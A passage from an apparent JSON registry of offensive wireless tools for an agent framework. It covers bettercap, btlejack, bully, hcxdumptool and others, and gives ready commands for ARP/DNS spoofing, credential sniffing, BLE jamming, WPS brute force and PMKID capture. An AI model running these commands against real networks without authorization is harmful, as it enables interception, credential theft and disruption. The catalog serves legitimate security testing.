        "name": "z",
        "type": "boolean",
        "required": false,
        "description": "Use 64-bit WEP attack",
        "aliases": [
          "-z"
        ],
        "flag": "-z"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Aircrack-ng Official Site",
        "url": "https://www.aircrack-ng.org/"
      },
      {
        "label": "Aircrack-ng Documentation",
        "url": "https://www.aircrack-ng.org/doku.php/documentation"
      }
    ],
    "related_tools": [
      "reaver",
      "bully",
      "kismet",
      "wifite"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 256,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "network-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "cracked-key",
        "handshake-capture",
        "wep-key"
      ],
      "consumes": [
        "capture-file",
        "wordlist"
      ]
    }
  },
  {
    "_body": "\n\n# Bettercap — MITM Framework\n\nBettercap is a powerful, modular, and portable MITM framework capable of attacking WiFi, Bluetooth Low Energy, and wired networks. It features an interactive console with real-time monitoring.\n\n## Key Modules\n\n- **net.sniff**: Passive network sniffer\n- **arp.spoof**: ARP poisoning for MITM\n- **dns.spoof**: DNS response spoofing\n- **http.proxy**: HTTP/HTTPS proxy with SSL stripping\n- **wifi**: WiFi monitoring, deauth, and WPA handshake capture\n- **ble**: Bluetooth Low Energy attacks\n",
    "_source": "security-wireless-bettercap.md",
    "allowed-tools": [
      "bettercap",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "network.capture.pcap",
        "description": "Captured network traffic",
        "mime": "application/vnd.tcpdump.pcap",
        "trust_level": "verified"
      },
      {
        "type": "network.log.sniffed",
        "description": "Sniffed credentials and data",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.mitm",
      "network.sniff",
      "network.deauth",
      "network.proxy",
      "network.dns.spoof",
      "network.arp.spoof"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.interface",
          "description": "Network interface"
        },
        {
          "type": "network.target.ip",
          "description": "Target IP address"
        },
        {
          "type": "network.gateway.ip",
          "description": "Gateway IP address"
        }
      ],
      "outputs": [
        {
          "type": "network.capture.pcap",
          "description": "Packet capture file",
          "mime": "application/vnd.tcpdump.pcap"
        },
        {
          "type": "network.log.credentials",
          "description": "Captured credentials",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 256,
        "network": "high",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Powerful MITM framework for WiFi, Bluetooth, and wired network attacks with an interactive command console.",
    "examples": [
      {
        "description": "Start sniffer on interface",
        "command": "bettercap -I eth0 -X"
      },
      {
        "description": "ARP spoof target with sniffer",
        "command": "bettercap -I eth0 -T 192.168.1.100 -X --spoof"
      },
      {
        "description": "MITM with proxy and logging",
        "command": "bettercap -I eth0 -T 192.168.1.100 -G 192.168.1.1 -P --proxy -L cap.log"
      },
      {
        "description": "Run a caplet script",
        "command": "bettercap -I eth0 --caplet /path/to/caplet.cap"
      },
      {
        "description": "Evaluate commands inline",
        "command": "bettercap -eval \"net.sniff on; set arp.spoof.targets 192.168.1.100; arp.spoof on\""
      },
      {
        "description": "Sniffer with DNS spoofing",
        "command": "bettercap -I eth0 -X --dns example.com=10.0.0.1"
      },
      {
        "description": "Capture output to file",
        "command": "bettercap -I eth0 -X -O /tmp/capture"
      },
      {
        "description": "Disable HTTP/HTTPS servers",
        "command": "bettercap -I eth0 -X --no-http --no-https"
      }
    ],
    "execution": {
      "template": "bettercap -I {interface} -X",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root"
    ],
    "global_vars": {
      "interface": "eth0"
    },
    "id": "security-wireless-bettercap",
    "install": [
      {
        "method": "apt",
        "package_name": "bettercap",
        "commands": [
          "apt-get install -y bettercap"
        ]
      },
      {
        "method": "go",
        "repo_url": "github.com/bettercap/bettercap",
        "commands": [
          "go install github.com/bettercap/bettercap@latest"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "bettercap",
    "namespace": "security:wireless:bettercap",
    "parameters": [
      {
        "name": "interface",
        "type": "string",
        "required": false,
        "description": "Network interface name",
        "aliases": [
          "-I",
          "--interface"
        ],
        "flag": "-I"
      },
      {
        "name": "target",
        "type": "string",
        "required": false,
        "description": "Target IP address",
        "aliases": [
          "-T",
          "--target"
        ],
        "flag": "-T"
      },
      {
        "name": "gateway",
        "type": "string",
        "required": false,
        "description": "Gateway IP address",
        "aliases": [
          "-G",
          "--gateway"
        ],
        "flag": "-G"
      },
      {
        "name": "spoof",
        "type": "boolean",
        "required": false,
        "description": "Enable ARP spoofing",
        "aliases": [
          "-S",
          "--spoof"
        ],
        "flag": "-S"
      },
      {
        "name": "sniffer",
        "type": "boolean",
        "required": false,
        "description": "Enable sniffer",
        "aliases": [
          "-X",
          "--sniffer"
        ],
        "flag": "-X"
      },
      {
        "name": "proxy",
        "type": "boolean",
        "required": false,
        "description": "Enable HTTP/HTTPS proxy",
        "aliases": [
          "-P",
          "--proxy"
        ],
        "flag": "-P"
      },
      {
        "name": "log",
        "type": "string",
        "required": false,
        "description": "Log file path",
        "aliases": [
          "-L",
          "--log"
        ],
        "flag": "-L"
      },
      {
        "name": "output",
        "type": "string",
        "required": false,
        "description": "Output directory",
        "aliases": [
          "-O",
          "--output"
        ],
        "flag": "-O"
      },
      {
        "name": "caplet",
        "type": "file",
        "required": false,
        "description": "Caplet script file to execute",
        "aliases": [
          "--caplet"
        ],
        "flag": "--caplet"
      },
      {
        "name": "eval",
        "type": "string",
        "required": false,
        "description": "Evaluate a bettercap command",
        "aliases": [
          "-eval",
          "--eval"
        ],
        "flag": "-eval"
      },
      {
        "name": "no-http",
        "type": "boolean",
        "required": false,
        "description": "Disable HTTP server",
        "aliases": [
          "--no-http"
        ],
        "flag": "--no-http"
      },
      {
        "name": "no-https",
        "type": "boolean",
        "required": false,
        "description": "Disable HTTPS server",
        "aliases": [
          "--no-https"
        ],
        "flag": "--no-https"
      },
      {
        "name": "D",
        "type": "boolean",
        "required": false,
        "description": "Enable debug mode",
        "aliases": [
          "-D",
          "--debug"
        ],
        "flag": "-D"
      },
      {
        "name": "M",
        "type": "boolean",
        "required": false,
        "description": "Start specific module",
        "aliases": [
          "-M",
          "--module"
        ],
        "flag": "-M"
      },
      {
        "name": "dns",
        "type": "boolean",
        "required": false,
        "description": "Spoof DNS record",
        "aliases": [
          "--dns"
        ],
        "flag": "--dns"
      },
      {
        "name": "eval-command",
        "type": "string",
        "required": false,
        "default": null,
        "description": "Evaluate a command",
        "aliases": [
          "-eval",
          "--eval"
        ],
        "flag": "-eval"
      },
      {
        "name": "no_color",
        "type": "boolean",
        "required": false,
        "description": "Disable colored output",
        "aliases": [
          "--no-color"
        ],
        "flag": "--no-color"
      },
      {
        "name": "proxy_port",
        "type": "boolean",
        "required": false,
        "description": "Proxy listen port",
        "aliases": [
          "--proxy-port"
        ],
        "flag": "--proxy-port"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Bettercap Official Site",
        "url": "https://www.bettercap.org/"
      },
      {
        "label": "Bettercap GitHub",
        "url": "https://github.com/bettercap/bettercap"
      }
    ],
    "related_tools": [
      "ettercap",
      "responder",
      "yersinia"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "high",
      "disk_io": "medium"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "network-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "captured-traffic",
        "sniffed-credentials",
        "spoofed-dns"
      ],
      "consumes": [
        "network-interface",
        "target-ip",
        "gateway-ip"
      ]
    }
  },
  {
    "_body": "\n\n# bluetoothctl — Bluetooth Device Controller\n\nbluetoothctl is the primary command-line interface for BlueZ, the official Linux Bluetooth protocol stack. It provides interactive and non-interactive control over Bluetooth adapters and devices.\n\n## Common Commands\n\n| Command | Description |\n|---------|-------------|\n| `scan on/off` | Enable/disable device discovery |\n| `pair <mac>` | Pair with a Bluetooth device |\n| `connect <mac>` | Connect to a paired device |\n| `trust <mac>` | Mark device as trusted |\n| `info <mac>` | Show detailed device information |\n| `devices` | List all known devices |\n| `show` | Show adapter information |\n",
    "_source": "security-wireless-bluetoothctl.md",
    "allowed-tools": [
      "bluetoothctl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "bluetooth.device.list",
        "description": "List of discovered Bluetooth devices",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "bluetooth.device.info",
        "description": "Detailed device information",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "bluetooth.scan",
      "bluetooth.pair",
      "bluetooth.discover",
      "bluetooth.manage"
    ],
    "contract": {
      "inputs": [
        {
          "type": "bluetooth.adapter",
          "description": "Bluetooth adapter index"
        }
      ],
      "outputs": [
        {
          "type": "bluetooth.device.list",
          "description": "Discovered Bluetooth devices",
          "mime": "text/plain"
        },
        {
          "type": "bluetooth.device.info",
          "description": "Detailed device attribute information",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Command-line Bluetooth controller for device scanning, pairing, and management via BlueZ.",
    "examples": [
      {
        "description": "Start interactive bluetoothctl session",
        "command": "bluetoothctl"
      },
      {
        "description": "Enable scanning and power on",
        "command": "echo -e \"power on\\nscan on\" | bluetoothctl"
      },
      {
        "description": "List paired devices",
        "command": "bluetoothctl devices"
      },
      {
        "description": "Show adapter information",
        "command": "bluetoothctl show"
      },
      {
        "description": "Pair with a device",
        "command": "echo -e \"pair AA:BB:CC:DD:EE:FF\\nconnect AA:BB:CC:DD:EE:FF\" | bluetoothctl"
      },
      {
        "description": "Trust and connect",
        "command": "echo -e \"trust AA:BB:CC:DD:EE:FF\\nconnect AA:BB:CC:DD:EE:FF\" | bluetoothctl"
      },
      {
        "description": "Show device information",
        "command": "bluetoothctl info AA:BB:CC:DD:EE:FF"
      },
      {
        "description": "Register agent and make pairable",
        "command": "echo -e \"agent on\\ndefault-agent\\npairable on\" | bluetoothctl"
      }
    ],
    "execution": {
      "template": "bluetoothctl",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": true
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root"
    ],
    "global_vars": {},
    "id": "security-wireless-bluetoothctl",
    "install": [
      {
        "method": "apt",
        "package_name": "bluez",
        "commands": [
          "apt-get install -y bluez"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "bluetoothctl",
    "namespace": "security:wireless:bluetoothctl",
    "parameters": [
      {
        "name": "scan",
        "type": "boolean",
        "required": false,
        "description": "Scan for Bluetooth devices",
        "aliases": [
          "scan",
          "--scan"
        ],
        "flag": "scan"
      },
      {
        "name": "advertise",
        "type": "boolean",
        "required": false,
        "description": "Enable advertising",
        "aliases": [
          "advertise",
          "--advertise"
        ],
        "flag": "advertise"
      },
      {
        "name": "discoverable",
        "type": "boolean",
        "required": false,
        "description": "Make adapter discoverable",
        "aliases": [
          "discoverable",
          "--discoverable"
        ],
        "flag": "discoverable"
      },
      {
        "name": "pairable",
        "type": "boolean",
        "required": false,
        "description": "Make adapter pairable",
        "aliases": [
          "pairable",
          "--pairable"
        ],
        "flag": "pairable"
      },
      {
        "name": "power",
        "type": "string",
        "required": false,
        "description": "Power control (on/off)",
        "aliases": [
          "power",
          "--power"
        ],
        "flag": "power"
      },
      {
        "name": "agent",
        "type": "string",
        "required": false,
        "description": "Register agent type",
        "aliases": [
          "agent",
          "--agent"
        ],
        "flag": "agent"
      },
      {
        "name": "default-agent",
        "type": "boolean",
        "required": false,
        "description": "Set as default agent",
        "aliases": [
          "default-agent",
          "--default-agent"
        ],
        "flag": "default-agent"
      },
      {
        "name": "pair",
        "type": "string",
        "required": false,
        "description": "Pair with device by MAC",
        "aliases": [
          "pair",
          "--pair"
        ],
        "flag": "pair"
      },
      {
        "name": "trust",
        "type": "string",
        "required": false,
        "description": "Trust device by MAC",
        "aliases": [
          "trust",
          "--trust"
        ],
        "flag": "trust"
      },
      {
        "name": "connect",
        "type": "string",
        "required": false,
        "description": "Connect to device by MAC",
        "aliases": [
          "connect",
          "--connect"
        ],
        "flag": "connect"
      },
      {
        "name": "info",
        "type": "string",
        "required": false,
        "description": "Show device info by MAC",
        "aliases": [
          "info",
          "--info"
        ],
        "flag": "info"
      },
      {
        "name": "list",
        "type": "boolean",
        "required": false,
        "description": "List available adapters",
        "aliases": [
          "--list"
        ],
        "flag": "--list"
      },
      {
        "name": "show",
        "type": "boolean",
        "required": false,
        "description": "Show adapter info",
        "aliases": [
          "--show"
        ],
        "flag": "--show"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "Show version",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "BlueZ Bluetoothctl",
        "url": "https://github.com/bluez/bluez/tree/master/client"
      },
      {
        "label": "BlueZ Documentation",
        "url": "http://www.bluez.org/documentation/"
      }
    ],
    "related_tools": [
      "btlejack",
      "hcitool",
      "gatttool"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "network-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "device-list",
        "device-info",
        "paired-devices"
      ],
      "consumes": [
        "bluetooth-adapter"
      ]
    }
  },
  {
    "_body": "\n\n# Btlejack — Bluetooth Low Energy Sniffer\n\nBtlejack is a Bluetooth Low Energy (BLE) sniffing and jamming tool. It can capture BLE packets, follow connections, and jam BLE devices for security assessment purposes.\n\n## Capabilities\n\n- **Sniffing**: Passive capture of BLE advertising and data channels\n- **Jamming**: Active jamming of BLE connections\n- **Connection following**: Decrypt and follow established BLE connections\n- **Dump reading**: Offline analysis of captured BLE traffic\n",
    "_source": "security-wireless-btlejack.md",
    "allowed-tools": [
      "btlejack",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "ble.capture.dump",
        "description": "Captured BLE traffic dump",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      },
      {
        "type": "ble.device.list",
        "description": "Discovered BLE devices",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "ble.sniff",
      "ble.jam",
      "ble.scan",
      "ble.capture"
    ],
    "contract": {
      "inputs": [
        {
          "type": "ble.interface",
          "description": "BLE interface (hciX)"
        },
        {
          "type": "ble.channel",
          "description": "BLE channel to monitor"
        }
      ],
      "outputs": [
        {
          "type": "ble.capture.dump",
          "description": "Captured BLE traffic",
          "mime": "application/octet-stream"
        },
        {
          "type": "ble.device.list",
          "description": "Discovered BLE devices",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "raw_socket_access",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Bluetooth Low Energy (BLE) sniffing and jamming tool for security assessments of BLE devices.",
    "examples": [
      {
        "description": "Scan for BLE devices",
        "command": "btlejack -s"
      },
      {
        "description": "Sniff on specific interface",
        "command": "btlejack -i hci0 -s"
      },
      {
        "description": "Jam active BLE connections",
        "command": "btlejack -j"
      },
      {
        "description": "Follow existing BLE connection",
        "command": "btlejack -f"
      },
      {
        "description": "Sniff with output to file",
        "command": "btlejack -s -o capture.dump"
      },
      {
        "description": "Sniff advertisements only",
        "command": "btlejack -a -o ads.dump"
      },
      {
        "description": "Sniff with debug and verbose",
        "command": "btlejack -i hci0 -s -d -v"
      },
      {
        "description": "Specific channel sniffing",
        "command": "btlejack -c 37 -s"
      }
    ],
    "execution": {
      "template": "btlejack -s",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root"
    ],
    "global_vars": {},
    "id": "security-wireless-btlejack",
    "install": [
      {
        "method": "pip",
        "package_name": "btlejack",
        "commands": [
          "pip install btlejack"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "btlejack",
    "namespace": "security:wireless:btlejack",
    "parameters": [
      {
        "name": "interface",
        "type": "string",
        "required": false,
        "description": "BLE interface (hciX)",
        "aliases": [
          "-i",
          "--interface"
        ],
        "flag": "-i"
      },
      {
        "name": "debug",
        "type": "boolean",
        "required": false,
        "description": "Enable debug output",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "sniff",
        "type": "boolean",
        "required": false,
        "description": "Sniff BLE connections",
        "aliases": [
          "-s",
          "--sniff"
        ],
        "flag": "-s"
      },
      {
        "name": "follow",
        "type": "boolean",
        "required": false,
        "description": "Follow a BLE connection",
        "aliases": [
          "-f",
          "--follow"
        ],
        "flag": "-f"
      },
      {
        "name": "jam",
        "type": "boolean",
        "required": false,
        "description": "Jam BLE connections",
        "aliases": [
          "-j",
          "--jam"
        ],
        "flag": "-j"
      },
      {
        "name": "timeout",
        "type": "integer",
        "required": false,
        "description": "Timeout in seconds",
        "aliases": [
          "-t",
          "--timeout"
        ],
        "flag": "-t"
      },
      {
        "name": "channel",
        "type": "string",
        "required": false,
        "description": "BLE channel (0-39)",
        "aliases": [
          "-c",
          "--channel"
        ],
        "flag": "-c"
      },
      {
        "name": "output",
        "type": "string",
        "required": false,
        "description": "Output file path",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "verbose",
        "type": "boolean",
        "required": false,
        "description": "Enable verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "advertisements",
        "type": "boolean",
        "required": false,
        "description": "Sniff advertisements only",
        "aliases": [
          "-a",
          "--advertisements"
        ],
        "flag": "-a"
      },
      {
        "name": "write",
        "type": "string",
        "required": false,
        "description": "Write capture to file",
        "aliases": [
          "-w",
          "--write"
        ],
        "flag": "-w"
      },
      {
        "name": "read",
        "type": "file",
        "required": false,
        "description": "Read from capture file",
        "aliases": [
          "-r",
          "--read"
        ],
        "flag": "-r"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Btlejack GitHub",
        "url": "https://github.com/virtualabs/btlejack"
      },
      {
        "label": "BLE Security Research",
        "url": "https://github.com/virtualabs/btlejack/wiki"
      }
    ],
    "related_tools": [
      "bluetoothctl",
      "bettercap",
      "hcitool"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "network-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "device-list",
        "capture-dump",
        "jammed-devices"
      ],
      "consumes": [
        "ble-interface"
      ]
    }
  },
  {
    "_body": "\n\n# Bully — WPS Brute-Force Tool\n\nBully is a WPS brute-force attack tool that serves as an alternative to Reaver with improved reliability, performance, and better handling of locked APs.\n\n## Advantages Over Reaver\n\n- More reliable EAPOL start and WSC data parsing\n- Better handling of WPS locked states\n- Improved detection of M5/M7 EAPol-forward errors\n- Lower CPU and memory footprint\n- Session save/resume compatible with Reaver sessions\n",
    "_source": "security-wireless-bully.md",
    "allowed-tools": [
      "bully",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "wireless.wps.pin",
        "description": "Recovered WPS PIN",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "wireless.wpa.psk",
        "description": "Cracked WPA passphrase",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.wps.bruteforce",
      "network.crack.wpa",
      "network.pin.attack"
    ],
    "contract": {
      "inputs": [
        {
          "type": "wireless.interface",
          "description": "Wireless interface in monitor mode"
        },
        {
          "type": "wireless.bssid",
          "description": "Target AP BSSID"
        },
        {
          "type": "wireless.channel",
          "description": "Target channel"
        }
      ],
      "outputs": [
        {
          "type": "wireless.wps.pin",
          "description": "Recovered WPS PIN",
          "mime": "text/plain"
        },
        {
          "type": "wireless.wpa.psk",
          "description": "WPA passphrase recovered via WPS",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "raw_socket_access",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "WPS brute-force attack tool similar to Reaver but with improved reliability and performance.",
    "examples": [
      {
        "description": "Basic WPS brute force",
        "command": "bully -i wlan0mon -b 00:11:22:33:44:55"
      },
      {
        "description": "With verbose output and channel",
        "command": "bully -i wlan0mon -b 00:11:22:33:44:55 -c 6 -v"
      },
      {
        "description": "Resume from saved session",
        "command": "bully -i wlan0mon -b 00:11:22:33:44:55 -s session.dat"
      },
      {
        "description": "Test specific PIN",
        "command": "bully -i wlan0mon -b 00:11:22:33:44:55 -p 12345670"
      },
      {
        "description": "Brute-force full PIN space",
        "command": "bully -i wlan0mon -b 00:11:22:33:44:55 -B"
      },
      {
        "description": "Force attack with lock delay",
        "command": "bully -i wlan0mon -b 00:11:22:33:44:55 -F -l 60"
      },
      {
        "description": "Fixed channel with step value",
        "command": "bully -i wlan0mon -b 00:11:22:33:44:55 -c 11 -S 10"
      },
      {
        "description": "Quiet mode with delay between pins",
        "command": "bully -i wlan0mon -b 00:11:22:33:44:55 -q -d 2"
      }
    ],
    "execution": {
      "template": "bully -i {interface} -b {bssid}",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root"
    ],
    "global_vars": {
      "interface": "wlan0mon",
      "bssid": "00:11:22:33:44:55"
    },
    "id": "security-wireless-bully",
    "install": [
      {
        "method": "apt",
        "package_name": "bully",
        "commands": [
          "apt-get install -y bully"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "bully",
    "namespace": "security:wireless:bully",
    "parameters": [
      {
        "name": "interface",
        "type": "string",
        "required": true,
        "description": "Wireless interface name (monitor mode)",
        "aliases": [
          "-i",
          "--interface"
        ],
        "flag": "-i"
      },
      {
        "name": "bssid",
        "type": "string",
        "required": true,
        "description": "Target AP BSSID",
        "aliases": [
          "-b",
          "--bssid"
        ],
        "flag": "-b"
      },
      {
        "name": "channel",
        "type": "integer",
        "required": false,
        "description": "Wireless channel of target AP",
        "aliases": [
          "-c",
          "--channel"
        ],
        "flag": "-c"
      },
      {
        "name": "pin",
        "type": "string",
        "required": false,
        "description": "WPS PIN to test",
        "aliases": [
          "-p",
          "--pin"
        ],
        "flag": "-p"
      },
      {
        "name": "lock-delay",
        "type": "integer",
        "required": false,
        "description": "Delay in seconds after lockout",
        "aliases": [
          "-l",
          "--lock-delay"
        ],
        "flag": "-l"
      },
      {
        "name": "timeout",
        "type": "integer",
        "required": false,
        "description": "Receive timeout in seconds",
        "aliases": [
          "-t",
          "--timeout"
        ],
        "flag": "-t"
      },
      {
        "name": "delay",
        "type": "integer",
        "required": false,
        "description": "Delay between pin attempts",
        "aliases": [
          "-d",
          "--delay"
        ],
        "flag": "-d"
      },
      {
        "name": "session",
        "type": "file",
        "required": false,
        "description": "Session file for resume support",
        "aliases": [
          "-s",
          "--session"
        ],
        "flag": "-s"
      },
      {
        "name": "verbose",
        "type": "boolean",
        "required": false,
        "description": "Enable verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "force",
        "type": "boolean",
        "required": false,
        "description": "Force attack even if AP is locked",
        "aliases": [
          "-F",
          "--force"
        ],
        "flag": "-F"
      },
      {
        "name": "bruteforce",
        "type": "boolean",
        "required": false,
        "description": "Brute-force the full PIN space",
        "aliases": [
          "-B",
          "--bruteforce"
        ],
        "flag": "-B"
      },
      {
        "name": "step",
        "type": "integer",
        "required": false,
        "description": "PIN increment step value",
        "aliases": [
          "-S",
          "--step"
        ],
        "flag": "-S"
      },
      {
        "name": "o",
        "type": "boolean",
        "required": false,
        "description": "Output to file",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "q",
        "type": "boolean",
        "required": false,
        "description": "Quiet output",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "w",
        "type": "boolean",
        "required": false,
        "description": "Work delay between cycles",
        "aliases": [
          "-w",
          "--workdelay"
        ],
        "flag": "-w"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Bully GitHub",
        "url": "https://github.com/aanarchyy/bully"
      },
      {
        "label": "WPS Attack Comparison",
        "url": "https://github.com/aanarchyy/bully/wiki"
      }
    ],
    "related_tools": [
      "reaver",
      "aircrack-ng",
      "wifite"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "network-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "wps-pin",
        "wpa-passphrase",
        "session"
      ],
      "consumes": [
        "target-bssid",
        "network-manipulation-interface"
      ]
    }
  },
  {
    "_body": "\n\n# hcxdumptool — WLAN Capture Tool for PMKID\n\nhcxdumptool captures WLAN traffic and extracts PMKID (RSN PMKID) hashes and WPA handshakes for offline cracking with hashcat or John the Ripper.\n\n## PMKID Attack\n\nThe PMKID attack does not require a full EAPOL 4-way handshake — only a single packet from the AP is needed. This makes it faster and more reliable than traditional deauth-based handshake capture.\n",
    "_source": "security-wireless-hcxdumptool.md",
    "allowed-tools": [
      "hcxdumptool",
      "hcxpcaptool",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "wireless.capture.pcapng",
        "description": "Captured WLAN traffic",
        "mime": "application/vnd.tcpdump.pcap",
        "trust_level": "verified"
      },
      {
        "type": "wireless.capture.pmkid",
        "description": "PMKID hashes for cracking",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.capture.pmkid",
      "network.capture.handshake",
      "network.sniff"
    ],
    "contract": {
      "inputs": [
        {
          "type": "wireless.interface",
          "description": "Wireless interface in monitor mode"
        },
        {
          "type": "wireless.channel",
          "description": "Target channel"
        },
        {
          "type": "wireless.bssid",
          "description": "Target AP BSSID"
        }
      ],
      "outputs": [
        {
          "type": "wireless.capture.pcapng",
          "description": "Raw packet capture",
          "mime": "application/vnd.tcpdump.pcap"
        },
        {
          "type": "wireless.capture.pmkid",
          "description": "PMKID hash file",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "raw_socket_access",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "low",
        "disk_io": "high"
      }
    },
    "dependencies": [],
    "description": "Tool for capturing WLAN traffic and dumping PMKID and handshake captures for offline WPA cracking with hashcat.",
    "examples": [
      {
        "description": "Capture on all channels",
        "command": "hcxdumptool -i wlan0mon -o capture.pcapng"
      },
      {
        "description": "Capture specific channel with status",
        "command": "hcxdumptool -i wlan0mon -o capture.pcapng -c 6 --enable_status"
      },
      {
        "description": "Filter by BSSID",
        "command": "hcxdumptool -i wlan0mon -o capture.pcapng -B 00:11:22:33:44:55"
      },
      {
        "description": "Filter by ESSID",
        "command": "hcxdumptool -i wlan0mon -o capture.pcapng -E MyNetwork"
      },
      {
        "description": "Disable deauth detection",
        "command": "hcxdumptool -i wlan0mon -o capture.pcapng --disable_deauth"
      },
      {
        "description": "Capture with timeout",
        "command": "hcxdumptool -i wlan0mon -o capture.pcapng -t 300"
      },
      {
        "description": "Read from existing capture",
        "command": "hcxdumptool -r capture.pcapng"
      },
      {
        "description": "Disable unnecessary detections",
        "command": "hcxdumptool -i wlan0mon -o capture.pcapng --disable_deauth --disable_assoc --disable_probe"
      }
    ],
    "execution": {
      "template": "hcxdumptool -i {interface} -o {output}",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root"
    ],
    "global_vars": {
      "interface": "wlan0mon",
      "output": "capture.pcapng"
    },
    "id": "security-wireless-hcxdumptool",
    "install": [
      {
        "method": "apt",
        "package_name": "hcxdumptool",
        "commands": [
          "apt-get install -y hcxdumptool"
        ]
      }
    ],
    "items": [
      "Hash"
    ],
